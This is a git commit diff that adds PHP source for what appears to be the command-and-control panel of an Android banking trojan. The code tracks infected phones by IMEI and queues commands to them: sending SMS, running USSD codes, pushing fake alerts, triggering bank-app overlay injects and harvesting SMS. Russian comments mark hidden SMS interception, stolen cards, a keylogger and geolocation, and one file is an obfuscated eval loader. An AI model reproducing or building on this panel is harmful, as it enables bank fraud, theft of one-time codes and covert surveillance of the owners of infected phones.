initial commit

This commit is contained in:
i2p
2026-08-27 10:50:54 -06:00
commit 97a5f0aa12
3172 changed files with 570428 additions and 0 deletions
+127
View File
@@ -0,0 +1,127 @@
<?php
class database{
function ws_UpdateBotID($botid){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET botid='$botid' WHERE id='1'");
$statement->execute([$botid]);
}
function ws_UpdateCommand($command){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
$statement->execute([$command]);
}
function ws_UpdateFileFolder($FileFolder){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET FileFolder='$FileFolder' WHERE id='1'");
$statement->execute([$FileFolder]);
}
function ws_UpdatePath($Path){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET path='$Path' WHERE id='1'");
$statement->execute([$Path]);
}
function ws_UpdateStatusFileFolder($status){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET statusfilefolder='$status' WHERE id='1'");
$statement->execute([$status]);
}
function ws_UpdateDownloadFile($path){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET DownloadFile='$path' WHERE id='1'");
$statement->execute([$path]);
}
function ws_UpdateVNCscreen($name){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET vncscreen='$name' WHERE id='1'");
$statement->execute([$name]);
}
function ws_UpdateSound($name){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET sound='$name' WHERE id='1'");
$statement->execute([$name]);
}
function ws_UpdateLastConnect($time){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("UPDATE ws SET lastconnect='$time' WHERE id='1'");
$statement->execute([$time]);
}
function ws_GetHandshake(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT handshake FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['handshake'];
}
return '';
}
function ws_GetBotID(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT botid FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['botid'];
}
return '';
}
function ws_GetDownloadFile(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT DownloadFile FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['DownloadFile'];
}
return '';
}
function ws_GetCommand(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT command FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['command'];
}
return '';
}
function ws_GetPath(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT path FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['path'];
}
return '';
}
function ws_GetFileFolder(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT FileFolder FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['FileFolder'];
}
return '';
}
function ws_GetSound(){
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
$statement->execute();
foreach($statement as $row){
return $row['sound'];
}
return '';
}
}
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
@@ -0,0 +1,408 @@
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:12: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:13: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:14: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:15: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:16: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:17: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:18: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:19: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:20: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:21: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:22: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:23: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:24: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:25: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
2021-10-05 08:26: Request to change the manager SMS to default
@@ -0,0 +1,16 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<Files ".*"> Order allow,deny Deny from all </Files>
@@ -0,0 +1,17 @@
AddDefaultCharset utf-8
AddCharset utf-8 *
<IfModule mod_charset.c>
CharsetSourceEnc utf-8
CharsetDefault utf-8
</IfModule>
<FilesMatch ".(php|phtml|php3|php4|js|css|htaccess|zip)$">
Order Allow,Deny
Deny from all
</FilesMatch>
+1
View File
@@ -0,0 +1 @@
<?php /* This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$O0O000O0O=$O0O000O00.$OOO000000{11};$O0O000O00=$O0O000O00.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x1c0;eval($OOO0000O0('JE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwT08wMCgkTzAwME8wTzAwLDB4NTAzKTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMHgxN2MpLCdFbnRlcnlvdXdraFJIWUtOV09VVEFhQmJDY0RkRmZHZ0lpSmpMbE1tUHBRcVNzVnZYeFp6MDEyMzQ1Njc4OSsvPScsJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky8nKSk7ZXZhbCgkT08wME8wME8wKTs='));return;?>M\FwG^sRMHC{Kkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tMlMholzF2a0htOgA0aTA0lNTlSJf2igCB51YZkfhULIGXplC2ivwtwJKXp9cBxzcbShF2azF2lvdl9LcbY0FM95htL7tm0hkrlkUAlkUAlkUAlkHT1MCBxzcTShDBCIhtrPDbYzcbWPky9TOaYTUA9KBZfXCB5ldy91F2aZk10phULhGXpzcbYzDB9Vb2OlF3OZd3LPhTShDoaicoaZhtkHd2YifolvdjPIR2xvc2lVRmnPFtwpKXp9cBxzcbShDBCIhtOgA0aTA0lNTlSmFoyVcBxgF3Oifuazk10iNUknC3Opd24JhbShF2azF2lvdl9LcbY0FM95htL7tMilCBOlFJIJTo9jCbOpd246wt9Sd2fpdJ5XDuEJhTShgBaSF2a7tJOkUAlkUAlkUAlkUTr9fuk1cTShgWp9tMlMhtOkUAlkUAlkUAlkUTrpGXP7f_C <div id="showAlert"></div>
+113
View File
@@ -0,0 +1,113 @@
<?php
session_start();
if(isset($_SESSION["wh_anu7"])) {
// header("Location: ./homepage.php");
echo "" ;
}else{
header("Location: ./");
}
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if(isset($_REQUEST['imeis'])){
include_once "../../config.php";
$getIMEIs = $_REQUEST['imeis'];
$arrayIMEI = explode(':',$getIMEIs);
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$arrayData = '';
foreach($arrayIMEI as $imei){
if(strlen($imei)>4){
$sql = "SELECT * FROM kliets WHERE IMEI='".$imei."'";
foreach($connection->query($sql) as $row){
if($imei == $row['IMEI']){//IMEI
$lastConnect = $row['lastConnect'];
$getInconConnect = getIconOnline($lastConnect);//онлайн
$getScreen = $row['screen'];//скрин
$getaccessibility = $row['accessibility'];//спец возможности
$requestSMS = $row['requestSMS'];//скрытый перехват
$requestInjProc=$row['requestInjProc'];//инжи
$requestGeoloc=$row['requestGeoloc'];//геолокация
$cards = $row['l_bank']; //карты
$injs = $row['inj']; //инжекты
$logs = $row['log']; //логи
if($getInconConnect!=0){
$getScreen=0;
}
$arrayData = "$arrayData|$imei:$getInconConnect:$getScreen:$getaccessibility:$requestSMS:$requestInjProc:$requestGeoloc:$cards:$injs:$logs";
break;
}
}
}
}
echo "$arrayData";
}
}
function getIconOnline($lastConnect){
//******Получаем иконку состояния бота, вычисляем дату****
$arr_data_from = explode(" ", $lastConnect);
$arr_data_till = explode(" ", date('Y-m-d H:i'));
$date_from = $arr_data_from[0];
$date_till = $arr_data_till[0];
$date_from = explode('-', $date_from);
$date_till = explode('-', $date_till);
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
//----------Секунды!-------/
$date1 = new \DateTime($lastConnect);
$date2 = new \DateTime(date('Y-m-d H:i'));
$diff = $date2->diff($date1);
// разница в секундах
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
($diff->m * 30 * 24 * 60 * 60) +
($diff->d * 24 * 60 * 60) +
($diff->h * 60 * 60) +
($diff->i * 60) +
$diff->s;
//----------обработка состояние иконки on/off-------/
if($day>=2)//Дни!
{
return '2';//умер
}
else
{
if($seconds<=120)
{
return '0';//онлайн
}
else
{
return '1';//оффлайны
}
}
}
?>
+34
View File
@@ -0,0 +1,34 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if(isset($_REQUEST['imei'])){
$getIMEI = $_REQUEST['imei'];
if (@fopen("../datalogs/logs/$getIMEI.log", "r")){ // проверяем на существование файла
$filename = "../datalogs/logs/$getIMEI.log";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
include '../../config.php';
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$statement = $connection3->prepare("UPDATE kliets SET log='0' WHERE IMEI = '$getIMEI';");
$statement->execute(array($getIMEI));
echo "$contents";
}
}
}?>
+84
View File
@@ -0,0 +1,84 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
if($statusCode){
if(isset($_REQUEST['imei'])){
$getIMEI = $_REQUEST['imei'];
include_once "../../config.php";
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection->exec('SET NAMES utf8');
$sql = "SELECT * FROM settings";
$inject_str = "";
$text_delsms = "";
$IMEI = "";
$inject ="";
$del_sms = "";
$state = "";
$check_true = "";
$network = "";
$gps = "";
$foreground = "";
$keylogger = "";
$check_record = "";
$text_seconds ="";
$lookscreen = "0";
foreach($connection->query($sql) as $row){
$IMEI = $row['IMEI'];
$inject = $row['inject'];
$del_sms = $row['del_sms'];
$state = $row['state'];
if($IMEI == $getIMEI){
$inject_str=$inject;
$text_delsms = $del_sms;//Скрытие смс
$network= $row['avtootvet_sig1'];//NetWork
$gps = $row['avtootvet_sig2'];//GPS
$check_true = $row['avtootvet_true'];//перехват смс
$foreground = $row['checkforeground'];
$keylogger=$row['keylogger'];
$check_record=$row['checkrecord'];
$text_seconds=$row['recordseconds'];
$lookscreen=$row['lookscreen'];
break;
}
}
$sql = "SELECT * FROM kliets";
$seconds="0";
foreach($connection->query($sql) as $row){
$IMEI = $row['IMEI'];
if($IMEI == $getIMEI){
$seconds = $row['seconds'];
break;
}
}
if(($seconds=="")||($seconds==null))$seconds="0";
echo "$seconds|$inject_str|$check_true|$text_delsms|$network|$gps|$state|$foreground|$keylogger|$check_record|$text_seconds|$lookscreen";
}
}
?>
+41
View File
@@ -0,0 +1,41 @@
<?php
session_start();
if(isset($_SESSION["wh_anu7"])) {
// header("Location: ./homepage.php");
echo "" ;
}else{
session_destroy();
header("Location: ./");
}
$statusCode=false;
if (!(isset($_SESSION['panel_user'])))
{
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
//передаем данные для выпонения команд!!!-----
if((isset($_POST["ADDUSER"]))&&($statusCode)){
include '../../config.php';
$login = $_POST['login'];
$pass=$_POST['password'];
$password = md5("$login $pass $login");
$right = $_POST['RIGHT'];
$tag = $_POST['tag'];
$connect = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connect->exec('SET NAMES utf8');
$add_data = $connect->exec("insert into t_users (login,password,right_,status,tag)
value ('$login','$password','$right','Disabled','$tag')");
header("Location: /".namefolder."/index.php?cont=settings&page=users");
}
?>
+1
View File
@@ -0,0 +1 @@
\
+446
View File
@@ -0,0 +1,446 @@
<?php
session_start();
$statusCode=false;
if (!(isset($_SESSION['panel_user']))){
session_destroy();
header("Location: /index.php");
}else{
if ($_SESSION['panel_status']!="Action"){
session_destroy();
header("Location: /index.php");
}else{
$statusCode=true;
}
}
//передаем данные для выпонения команд!!!-----
if($statusCode){
if (isset($_REQUEST['comboBox_commands'])){
include '../../config.php';
$connection3 = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
$connection3->exec('SET NAMES utf8');
$que=$_REQUEST['comboBox_commands'];
if($que == "sentSMS"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$numb = $_REQUEST['text_number'];
$msg = $_REQUEST['text_msg'];
$numb = str_replace("@","+",$numb);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|command=Send_GO_SMS|number=$numb|text=$msg::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startUSSD"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$text_ussd = $_REQUEST['text_ussd'];
foreach($imeis_ as $imei){
if($imei !="" ){
//$text_ussd= str_replace("AAA","#",$text_ussd);
$command_ = "|command=startUSSD|ussd=$text_ussd|endUssD::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startAlert"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$text_title = $_REQUEST['title_push'];
$text_push = $_REQUEST['text_push'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|command=ALERT|title=$text_title|text=$text_push::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startPush"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
$text_title = $_REQUEST['titlePush'];
$text_push = $_REQUEST['textPush'];
$icon = $_REQUEST['comboBox_push'];
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "|command=PUSH|title=$text_title|text=$text_push|icon=$icon::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startAutoPush"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$statement = $connection3->prepare("SELECT bank FROM kliets WHERE IMEI='$imei'");
$statement->execute();
$bank="";
foreach($statement as $row){
$bank = $row['bank'];
break;
}
if($bank!=""){
$statement = $connection3->prepare("SELECT process FROM injection");
$statement->execute();
$masBank = explode(",", $bank);
foreach($masBank as $bank){
foreach($statement as $row){
$process = $row['process'];
if (preg_match("/$bank/",$process)) {
$masappname = explode(",", $process);
$appname=$masappname[0];
$command_ = "startAutoPush|AppName=$appname|EndAppName::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
break;
}
}
}
}
}
}
}
if($que == "numberGO"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "nymBePsG0::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "getSMS"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "GetSWSGO::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "RequestPermissionInj"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "RequestPermissionInj::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "RequestPermissionGPS"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "RequestPermissionGPS::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "getIP"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "getIP::";
$statement = $connection3->prepare("insert into commands (IMEI,command)value ('$imei','$command_')");
$statement->execute(array($imei,$command_));
}
}
}
if($que == "startaccessibility"){
$imeis_ = $_REQUEST['text_imei'];
$imeis_ = explode(':', $imeis_);
foreach($imeis_ as $imei){
if($imei !="" ){
$command_ = "startaccessibility::";
